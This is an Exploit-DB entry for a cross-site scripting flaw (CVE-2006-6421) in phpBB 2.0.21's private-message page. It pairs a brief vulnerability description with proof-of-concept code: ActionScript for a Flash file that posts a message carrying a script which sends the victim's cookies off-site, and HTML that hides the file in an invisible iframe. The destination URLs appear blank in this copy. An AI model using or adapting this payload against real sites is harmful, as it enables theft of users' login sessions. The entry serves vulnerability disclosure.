phpBB 2.0.21 - Privmsg.PHP HTML Injection Vulnerability

ID EDB-ID:29442
Type exploitdb
Reporter Demential
Modified 2007-01-11T00:00:00


phpBB 2.0.21 Privmsg.PHP HTML Injection Vulnerability. CVE-2006-6421. Webapps exploit for php platform


phpBB is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible. 

Version 2.0.21 is vulnerable; other versions may also be affected.

Create a Shockwave Flash file with this code:

var username:String = "user_that_doesnt_exist";
var subject:String = "Xss Exploitation";
var message:String = "</textarea><script>document.location= '' + document.cookie </script>";
var folder:String = "inbox";
var mode:String = "post";
var post:String = "Submit";
getURL("", "_self", "POST");

Put it into a web page:

<title>Put a title here</title>
<p>Put some text here<p>
<iframe src="" frameborder="0" height="0" width="0"></iframe>